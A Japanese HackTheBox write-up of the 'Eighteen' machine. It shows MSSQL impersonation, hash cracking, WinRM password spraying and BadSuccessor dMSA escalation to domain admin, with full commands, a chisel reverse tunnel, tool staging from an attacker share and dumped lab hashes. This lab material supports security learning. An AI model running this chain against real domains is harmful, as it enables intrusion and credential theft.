はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Eighteenです。
Eighteenでは、Microsoft SQL Serverの列挙やActive Directoryの権限昇格について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-22 22:21 JST
Nmap scan report for 10.129.7.197
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2026-01-22T20:21:44+00:00; +7h00m01s from scanner time.
| ms-sql-ntlm-info:
| 10.129.7.197:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
| ms-sql-info:
| 10.129.7.197:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-22T20:15:14
|_Not valid after: 2056-01-22T20:15:14
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.80 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果より、1433番ポートでMicrosoft SQL Serverが起動していることが確認できます。
Microsoft SQL Serverがの列挙を行うためには、impacketを使用します。
impacket
impacket-mssqlclientを使用して、Microsoft SQL Serverへアクセスします。
$ impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@10.129.7.197
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (kevin guest@master)>
SQL Serverに存在するログインユーザーの列挙を行います。
SQL (kevin guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------ --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
kevin SQL_LOGIN 0 0 0 0 0 0 0 0 0
appdev SQL_LOGIN 0 0 0 0 0 0 0 0 0
kevinは、appdevを偽装（IMPERSONATE）できる権限を持っていることが分かります。
SQL (kevin guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
enum_impersonateの結果を踏まえて、appdevユーザーに偽装してログインします。
SQL (kevin guest@master)> exec_as_login appdev
SQL (appdev appdev@master)>
データベースの列挙を行います。
SQL (appdev appdev@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
financial_plannerデータベースに接続します。
SQL (appdev appdev@master)> USE financial_planner;
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)>
financial_plannerデータベースのテーブルを確認します。
SQL (appdev appdev@financial_planner)> SELECT name FROM financial_planner.sys.tables;
name
-----------
users
incomes
expenses
allocations
analytics
visits
usersテーブルのカラム情報を確認すると、パスワードハッシュを格納していることが分かります。
SQL (appdev appdev@financial_planner)> SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
column_name data_type
------------- ---------
id int
full_name nvarchar
username nvarchar
email nvarchar
password_hash nvarchar
is_admin bit
created_at datetime
usersテーブルのデータを取得すると、adminユーザーのパスワードハッシュが確認できました。
SQL (appdev appdev@financial_planner)> SELECT * FROM users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03
ハッシュ値解析
hashcatで確認したところ、パスワードはDjango (PBKDF2-SHA256)のハッシュ形式と推測できます。
$ hashcat -m 10000 --example-hashes
hashcat (v7.1.2) starting in hash-info mode
Hash Info:
==========
Hash mode #10000
Name................: Django (PBKDF2-SHA256)
Category............: Framework
Slow.Hash...........: Yes
Deprecated..........: No
Deprecated.Notice...: N/A
Password.Type.......: plain
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
Example.Pass........: hashcat
Benchmark.Mask......: ?a?a?a?a?a?a?a
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Keep.Guessing.......: No
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX
PBKDF2-HMAC-SHA256のハッシュ形式は、$で区切られていて、左から使用アルゴリズム、ストレッチ回数、ソルト、base64でエンコードされたハッシュ値となっています。
従ってハッシュ値を解析するためには、base64のエンコードを行います。
$ echo '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64 -w0
BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
hashcatを実行するために、上記エンコードしたハッシュ値が含まれているファイルを作成します。
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
hashcatを実行すると、パスワードが確認できます。
$ hashcat -a 0 -m 10000 hash.txt /usr/share/wordlists/rockyou.txt
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:REDACTED
nxc
nxcでユーザーの列挙を行います。
$ nxc mssql 10.129.7.197 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
MSSQL 10.129.7.197 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.7.197 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
MSSQL 10.129.7.197 1433 DC01 498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL 10.129.7.197 1433 DC01 500: EIGHTEEN\Administrator
MSSQL 10.129.7.197 1433 DC01 501: EIGHTEEN\Guest
MSSQL 10.129.7.197 1433 DC01 502: EIGHTEEN\krbtgt
MSSQL 10.129.7.197 1433 DC01 512: EIGHTEEN\Domain Admins
MSSQL 10.129.7.197 1433 DC01 513: EIGHTEEN\Domain Users
MSSQL 10.129.7.197 1433 DC01 514: EIGHTEEN\Domain Guests
MSSQL 10.129.7.197 1433 DC01 515: EIGHTEEN\Domain Computers
MSSQL 10.129.7.197 1433 DC01 516: EIGHTEEN\Domain Controllers
MSSQL 10.129.7.197 1433 DC01 517: EIGHTEEN\Cert Publishers
MSSQL 10.129.7.197 1433 DC01 518: EIGHTEEN\Schema Admins
MSSQL 10.129.7.197 1433 DC01 519: EIGHTEEN\Enterprise Admins
MSSQL 10.129.7.197 1433 DC01 520: EIGHTEEN\Group Policy Creator Owners
MSSQL 10.129.7.197 1433 DC01 521: EIGHTEEN\Read-only Domain Controllers
MSSQL 10.129.7.197 1433 DC01 522: EIGHTEEN\Cloneable Domain Controllers
MSSQL 10.129.7.197 1433 DC01 525: EIGHTEEN\Protected Users
MSSQL 10.129.7.197 1433 DC01 526: EIGHTEEN\Key Admins
MSSQL 10.129.7.197 1433 DC01 527: EIGHTEEN\Enterprise Key Admins
MSSQL 10.129.7.197 1433 DC01 528: EIGHTEEN\Forest Trust Accounts
MSSQL 10.129.7.197 1433 DC01 529: EIGHTEEN\External Trust Accounts
MSSQL 10.129.7.197 1433 DC01 553: EIGHTEEN\RAS and IAS Servers
MSSQL 10.129.7.197 1433 DC01 571: EIGHTEEN\Allowed RODC Password Replication Group
MSSQL 10.129.7.197 1433 DC01 572: EIGHTEEN\Denied RODC Password Replication Group
MSSQL 10.129.7.197 1433 DC01 1000: EIGHTEEN\DC01$
MSSQL 10.129.7.197 1433 DC01 1101: EIGHTEEN\DnsAdmins
MSSQL 10.129.7.197 1433 DC01 1102: EIGHTEEN\DnsUpdateProxy
MSSQL 10.129.7.197 1433 DC01 1601: EIGHTEEN\mssqlsvc
MSSQL 10.129.7.197 1433 DC01 1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL 10.129.7.197 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.129.7.197 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.129.7.197 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.129.7.197 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.129.7.197 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.129.7.197 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.129.7.197 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.129.7.197 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.129.7.197 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.129.7.197 1433 DC01 1612: EIGHTEEN\dave.green
上記nxcの結果を基に、ユーザー情報のリストを作成します。
- user.txt
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
再度、作成したユーザー情報のリストを使用してnxcを実行すると、adam.scottユーザーが有効であることを確認できます。
$ nxc winrm 10.129.5.209 -u user.txt -p REDACTED
WINRM 10.129.7.197 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.7.197 5985 DC01 [-] eighteen.htb\jamie.dunn:REDACTED
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.7.197 5985 DC01 [-] eighteen.htb\jane.smith:REDACTED
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.7.197 5985 DC01 [-] eighteen.htb\alice.jones:REDACTED
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.7.197 5985 DC01 [+] eighteen.htb\adam.scott:REDACTED (Pwn3d!)
システムハッキング
上記で取得した認証情報を利用して、足場を作ります。
アクセスの獲得
evil-winrmを実行します。
$ evil-winrm -i 10.129.7.197 -u adam.scott -p 'REDACTED'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.scott\Documents>
ユーザーフラグ
デスクトップより、ユーザーフラグが確認できます。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> dir
Directory: C:\Users\adam.scott\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/22/2026 12:13 PM 34 user.txt
ルートフラグ
ルートフラグを取得するためには、権限昇格が必要です。
レジストリ情報より、OSはWindows Server 2025 Datacenterであることが分かります。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Windows Server 2025 Datacenter
Windows Server 2025 Datacenterの脆弱性について調べたところ、BadSuccessorの脆弱性が見つかりました。
BadSuccessorは、Windows Server 2025 の委任管理サービスアカウント（dMSA）機能によって導入された、Active Directoryの権限昇格に関する脆弱性です。
更なる調査を行うためにPowerView.ps1をアップロードします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
Info: Uploading /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 to C:\Users\adam.scott\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
以下のコマンドを実行して、PowerView.ps1をインポートします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> Import-Module .\PowerView.ps1
Find-InterestingDomainAclより、ITグループには、Staff OUに対するCreateChild権限を持っていることが分かります。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> Find-InterestingDomainAcl
ObjectDN : OU=Staff,DC=eighteen,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1152179935-589108180-1989892463-1604
IdentityReferenceName : IT
IdentityReferenceDomain : eighteen.htb
IdentityReferenceDN : CN=IT,OU=Staff,DC=eighteen,DC=htb
IdentityReferenceClass : group
また、adam.scottは、ITグループに所属していることが確認できます。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
GitHubでBadSuccessorのスクリプトを見つけたので、アップロードを行うため、impacket-smbserverを実行してSMBを起動します。
$ impacket-smbserver share . -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
以下のコマンドを実行して、マウントします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> net use Z: \\10.10.14.108\share
The command completed successfully.
以下のコマンドを実行して、スクリプトをコピーします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> copy Z:\\Invoke-BadSuccessor.ps1 ./
ADへのアクセスは、chisel経由で実行するため、攻撃側ではchiselのサーバを実行します。
$ ./chisel_1.11.3_linux_amd64 server -p 8888 --reverse
2026/01/22 22:57:47 server: Reverse tunnelling enabled
2026/01/22 22:57:47 server: Fingerprint mnznVI7Cc7R0wSKbJOF0+zOfI89YvMNmZrCTCFVJrrA=
2026/01/22 22:57:47 server: Listening on http://0.0.0.0:8888
Evil-WinRMのシェルについては、chisel.exeをコピーします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> copy Z:\\chisel.exe .\
chisel.exeを実行します。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> .\chisel.exe client 10.10.14.108:8888 R:socks
chisel.exe : 2026/01/22 13:01:01 client: Connecting to ws://10.10.14.108:8888
+ CategoryInfo : NotSpecified: (2026/01/22 13:0....10.14.108:8888:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/01/22 13:01:04 client: Connected (Latency 250.6274ms)
以下のコマンドを実行して、モジュールをインポートします。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> Import-Module .\Invoke-BadSuccessor.ps1
Invoke-BadSuccessorのスクリプトを実行します。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> Invoke-BadSuccessor
[+] Created computer 'Pwn' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Machine Account's sAMAccountName : Pwn$
[+] Machine Account's SID : S-1-5-21-1152179935-589108180-1989892463-12601
[+] Created delegated service account 'attacker_dMSA' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Service Account's sAMAccountName : attacker_dMSA$
[+] Service Account's SID : S-1-5-21-1152179935-589108180-1989892463-12602
[+] Allowed to retrieve password : Pwn$
[+] Added ACE on 'CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb' for 'adam.scott' (S-1-5-21-1152179935-589108180-1989892463-1609) with rights 'All' (Allow, ThisObjectOnly).
[+] Granted 'GenericAll' on 'attacker_dMSA$' to 'adam.scott'.
[+] Configured delegated MSA state for 'attacker_dMSA$' with predecessor:
CN=Administrator,CN=Users,DC=eighteen,DC=htb
[+] Next steps (Rubeus):
Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:eighteen.htb
Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[+] Alternative (Impacket):
getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'
攻撃側は、自国同期を停止します。
$ sudo systemctl stop systemd-timesyncd
ターゲット側の時刻を確認します。
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> [DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")
ソフトウェアクロックをMachineに合わせて変更します。
% sudo date -u -s '2026-01-21 21:40:36'
TGSチケットを取得します。
$ proxychains impacket-getST 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[*] Impersonating attacker_dMSA$
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.7.197:88 ... OK
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:82213b9d49ff5d8a7410f5298b9641d10b12d1b0140a2f02e916059ff9589055
[*] EncryptionTypes.rc4_hmac:159cd59d4d328fafa1ae07eb3b00181c
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
Administratorのハッシュ値をダンプします。
KRB5CCNAME=./'attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' proxychains4 impacket-secretsdump -k -no-pass DC01.eighteen.htb -just-dc-user Administrator
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:49678 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
[*] Kerberos keys grabbed
Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
[*] Cleaning up...
取得したハッシュ値を利用して、impacket-psexecで接続します。
$ proxychains4 impacket-psexec eighteen.htb/administrator@DC01.eighteen.htb -no-pass -k -aesKey '1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[-] CCache file is not found. Skipping...
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[*] Requesting shares on DC01.eighteen.htb.....
[*] Found writable share ADMIN$
[*] Uploading file OQoYebeb.exe
[*] Opening SVCManager on DC01.eighteen.htb.....
[*] Creating service Mrps on DC01.eighteen.htb.....
[*] Starting service Mrps.....
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[-] CCache file is not found. Skipping...
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[!] Press help for extra shell commands
[-] CCache file is not found. Skipping...
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[-] CCache file is not found. Skipping...
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
Microsoft Windows [Version 10.0.26100.4349]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>
Administratorのデスクトップより、ルートフラグが確認できます。
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is E154-392A
Directory of C:\Users\Administrator\Desktop
11/10/2025 04:39 PM <DIR> .
11/10/2025 02:15 PM <DIR> ..
01/22/2026 12:13 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 5,521,936,384 bytes free
おわりに
BadSuccessorの脆弱性は、Akamaiのセキュリティチームによって、BadSuccessorに関するエクスプロイト情報が公開されたことで、脆弱性開示のあり方に新たな議論が起きました。